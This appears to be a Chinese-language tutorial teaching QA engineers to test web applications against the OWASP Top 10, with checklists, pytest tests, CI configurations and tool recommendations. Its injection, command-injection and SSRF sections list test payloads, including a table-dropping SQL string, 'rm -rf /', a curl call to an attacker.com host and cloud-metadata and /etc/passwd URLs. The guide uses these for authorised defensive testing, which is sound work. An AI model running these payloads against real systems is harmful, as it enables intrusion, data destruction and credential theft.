Security Testing 給 QA 看的 OWASP Top 10 — 手動 / 自動化 / 工具一次到位

「資安是 Security team 的事,QA 不用管」是錯的。80% 的漏洞 QA 在 sprint 就能抓,剩下 20% 留給 pentester。這篇給你做基本 security testing 的能力。

QA 該負責什麼程度的 security?

flowchart LR
    Dev[Dev 寫 code] --> Lint[Static Analysis<br>SAST]
    Lint --> QA[QA Sprint Testing]
    QA --> Pen[Pentest<br>年度 / 季度]
    Pen --> Bug[Bug Bounty]

    QA --> Q1[OWASP Top 10<br>常見漏洞]
    QA --> Q2[Auth / Session]
    QA --> Q3[Input validation]
    QA --> Q4[資料隔離]

    style QA fill:#a855f7,color:#fff
    style Q1 fill:#06b6d4,color:#fff
    style Q2 fill:#06b6d4,color:#fff
    style Q3 fill:#06b6d4,color:#fff
    style Q4 fill:#06b6d4,color:#fff
角色 負責
Dev + SAST 程式碼層級漏洞、依賴套件 CVE
QA(你) 應用層級的功能性漏洞 — 多數 OWASP Top 10
Security team / Pentester 深度滲透、零日、business logic 攻擊
Bug bounty 全範圍、社群發現

QA 在 sprint 內把基本款抓掉,省掉 90% 上線後的 security ticket

OWASP Top 10 (2021) — QA 視角

mindmap
  root((OWASP<br>Top 10))
    A01 Broken Access Control
      平水權限
      垂直權限
      IDOR
    A02 Cryptographic Failures
      未加密傳輸
      弱演算法
      key 外洩
    A03 Injection
      SQL Injection
      XSS
      Command Injection
    A04 Insecure Design
      設計層漏洞
      Threat modeling
    A05 Security Misconfiguration
      預設密碼
      多餘服務開放
      錯誤訊息洩漏
    A06 Vulnerable Components
      過時套件
      已知 CVE
    A07 Auth Failures
      Brute force
      Session fixation
      多裝置登入
    A08 Software Data Integrity
      簽章驗證
      Supply chain
    A09 Logging Failures
      沒 log
      log 含敏感資料
    A10 SSRF
      Server-side Request Forgery

接下來每個一一講,附「QA 怎麼測」

A01 Broken Access Control — 最常見、最容易測

漏洞描述

使用者能存取不該存取的資源。

QA 怎麼測

flowchart LR
    Login[用 User A 登入] --> Get[取得 own 資源 URL<br>例如 /orders/123]
    Get --> Logout[登出 / 登入 User B]
    Logout --> Try[直接打 User A 的 URL]
    Try --> Q{看得到 User A<br>的資料?}
    Q -->|是| Bug[🐛 IDOR]
    Q -->|否| OK[✓ 通過]

    style Bug fill:#ef4444,color:#fff
    style OK fill:#10b981,color:#fff

手動測試 checklist

  1. ✅ 改 URL 的 ID(/orders/123/orders/124
  2. ✅ 改 query string(?user_id=1?user_id=2
  3. ✅ 隱藏的 form field(DevTools 改 hidden value)
  4. ✅ HTTP method 替換(GET /adminPOST /admin
  5. ✅ 直接打 admin endpoint(/admin/users 用普通帳號)
  6. ✅ 跨租戶資料(B tenant 能看 A tenant 嗎)

自動化:用 pytest 寫 cross-user 測試。

def test_cannot_access_other_user_order(api_user_a, api_user_b):
    # User A 建單
    order = api_user_a.post('/orders', json={'sku': 'X'}).json()
    # User B 試圖讀
    resp = api_user_b.get(f'/orders/{order["id"]}')
    assert resp.status_code in (403, 404)

A02 Cryptographic Failures — 加密失誤

該檢查

  • HTTPS Everywherehttp:// 自動 301 到 https://
  • HSTS headerStrict-Transport-Security: max-age=15552000
  • TLS 1.2+ — 不能允許 TLS 1.0/1.1
  • 密碼用 bcrypt/argon2(不能 MD5/SHA1)
  • 敏感資料(信用卡、身分證)DB 內加密
  • API token 不放在 URL — 應該 header

工具

  • SSL Labs: https://www.ssllabs.com/ssltest/ — 給 URL → 評等 A-F
  • testssl.sh — CLI 工具掃 TLS 配置
./testssl.sh https://staging.example.com

A03 Injection — 最致命

SQL Injection

測試 payload(試在每個 input 框):

' OR '1'='1
'; DROP TABLE users;--
" OR 1=1--
admin'--

正常反應:input 被 reject 或當字串處理。 漏洞反應:500 error / 異常結果 / 回出 DB 資訊。

XSS(Cross-Site Scripting)

測試 payload

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)

貼進 input、看 reflect 出來時有沒有執行。

自動化

@pytest.mark.parametrize('payload', [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    'javascript:alert(1)',
])
def test_xss_in_search(api, payload):
    resp = api.get(f'/search?q={payload}')
    # 確認 payload 被 escape
    assert '<script>' not in resp.text
    assert 'onerror=' not in resp.text

Command Injection

如果 app 接受檔名、URL 等:

test.jpg; rm -rf /
test.jpg && curl http://attacker.com/leak
$(curl http://attacker.com)

A04 Insecure Design — 設計層漏洞

QA 可參與 spec review 抓(見 [[spec-review-checklist]]):

  • 重設密碼流程沒驗證舊密碼
  • 投票機制沒防重複
  • 優惠券沒設使用上限
  • 邀請連結永不過期

設計階段抓 = 省 100 倍時間。

A05 Security Misconfiguration — 配置錯誤

Checklist

  • 預設帳號密碼已改(admin/admin、root/root)
  • Debug mode 關(prod 不能 stack trace 噴出來)
  • 不必要的 HTTP method 擋(不需要的 TRACE / OPTIONS)
  • Security headers 都設
  • Content-Security-Policy
  • X-Frame-Options
  • X-Content-Type-Options
  • Referrer-Policy
  • Permissions-Policy
  • CORS 不能 *(除非真公開 API)
  • 錯誤訊息不含 stack trace / DB schema

自動化檢查 security headers

def test_security_headers(api):
    resp = api.get('/')
    assert resp.headers.get('X-Frame-Options') in ('DENY', 'SAMEORIGIN')
    assert resp.headers.get('X-Content-Type-Options') == 'nosniff'
    assert 'Strict-Transport-Security' in resp.headers
    assert 'Content-Security-Policy' in resp.headers

工具:SecurityHeaders.com — 給 URL 直接評等。

A06 Vulnerable Components — 過時套件

自動化檢查

# .github/workflows/security.yml
- uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    severity: 'CRITICAL,HIGH'
    exit-code: '1'

- run: npm audit --audit-level=high
- run: pip-audit

或用 Snyk / GitHub Dependabot 自動 PR 升級。

QA 在 sprint 內看:每週看一次 Dependabot alerts,high/critical 立刻處理。

A07 Identification & Authentication Failures

必測情境

  1. Brute force 防護 - 連續錯誤 5 次後鎖定 / Captcha - Rate limit 在 IP 級別也要
  2. Session 管理 - Logout 後 token 真的失效 - Token TTL 合理(不該無限) - 多裝置登入策略明確
  3. 密碼政策 - 最小長度、複雜度 - 不能太短常見字(123456、password) - 改密碼後舊 session 失效
  4. 2FA / MFA - 流程沒 bypass - Recovery code 一次性
  5. 註冊 - Email 驗證有效 - 不能用 disposable email(業務需求)

A08 Software & Data Integrity Failures

  • ✅ CI/CD pipeline secret 不能被前端讀到
  • ✅ npm/pip 套件來源驗證(package-lock.json)
  • ✅ 不從不可信來源動態 import code
  • ✅ Webhook 來源驗證(GitHub / Stripe 都有 signature)

A09 Security Logging & Monitoring Failures

Checklist

  • 登入 / 改密碼 / 改 email 都有 log
  • 失敗的 auth attempts 有 log
  • Admin actions 有 log
  • Log 不含敏感資料(密碼、token、信用卡)
  • Log retention 合理(30+ 天)
  • 異常 alert 設定(500 急升、登入失敗異常多)

QA 在 spec review 階段就問「這個 action log 嗎?」

A10 SSRF — Server-Side Request Forgery

App 接受 URL 並 server 端 fetch(例如「上傳圖片」用 URL):

http://169.254.169.254/  # AWS metadata(會洩漏 credentials)
http://localhost:6379    # 內網 Redis
file:///etc/passwd       # local file

測試:給這些 URL 看 server 會不會 fetch + 回傳內容。

工具地圖

mindmap
  root((Security<br>Testing 工具))
    手動探索
      Burp Suite Community
      OWASP ZAP
      Browser DevTools
      Postman
    自動掃描
      OWASP ZAP CLI
      Nuclei
      Nikto
      sqlmap
    依賴掃描
      Snyk
      Trivy
      Dependabot
      npm audit
      pip-audit
    SAST
      SonarQube
      Semgrep
      CodeQL
    Headers / TLS
      SSL Labs
      testssl.sh
      Mozilla Observatory
      SecurityHeaders.com
    密碼測試
      Have I Been Pwned
      Hashcat(pentester 用)

進階推薦工具

Burp Suite Community(免費)

最重要的工具。Browser 流量都過 Burp proxy → 可改 / 重發。

學習 5 招就夠: 1. Intercept — 攔截 request 改了再送 2. Repeater — 改參數重發 3. Intruder — 自動 fuzz(payload list) 4. Decoder — Base64 / URL encode 解 5. Logger — 看所有流量

OWASP ZAP — Burp 的 open source 替代

  • 內建 automated scan
  • 可 CI 整合(zap-baseline.py 在 GitHub Actions 跑)

CI 整合範例

name: Security
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # SAST
      - uses: github/codeql-action/init@v3
      - uses: github/codeql-action/analyze@v3

      # 依賴掃描
      - uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      # DAST (跑在 staging)
      - uses: zaproxy/[email protected]
        with:
          target: 'https://staging.example.com'

      # Container scan
      - uses: aquasecurity/trivy-action@master
        with:
          image-ref: 'myorg/myapp:latest'
          severity: 'CRITICAL,HIGH'

QA 一週可做的 security 例行檢查

  1. 每週:跑 ZAP baseline scan on staging
  2. 每週:看 Dependabot / Snyk alerts
  3. 每 sprint:新功能跑 OWASP Top 10 checklist
  4. 每月:跑 SSL Labs / SecurityHeaders 全站
  5. 每季:找 security team 或外部 pentester 做深度測試

反模式

  1. 只信工具不手動驗 — 自動掃會漏 business logic 漏洞
  2. 抓到漏洞先 public 揭露 — 內部報、給時間修
  3. 跑 prod — 除非有授權、否則一定 staging
  4. 跑别人的網站 — 即使「想幫他們」是違法的
  5. 不更新工具 — Burp / ZAP / Snyk 都要保持最新

學習資源

  • OWASP Top 10: https://owasp.org/Top10/
  • PortSwigger Web Security Academy: 免費、互動式 lab
  • HackTheBox: 練習平台
  • TryHackMe: 入門友善
  • PentesterLab: 中階

最後

Security testing 不是「我不會所以不碰」。OWASP Top 10 用一個月學完,你抓到的漏洞會嚇到資安 team。從每個 sprint 多花 30 分鐘做安全 checklist 開始,這是 QA 影響力最快的放大方式。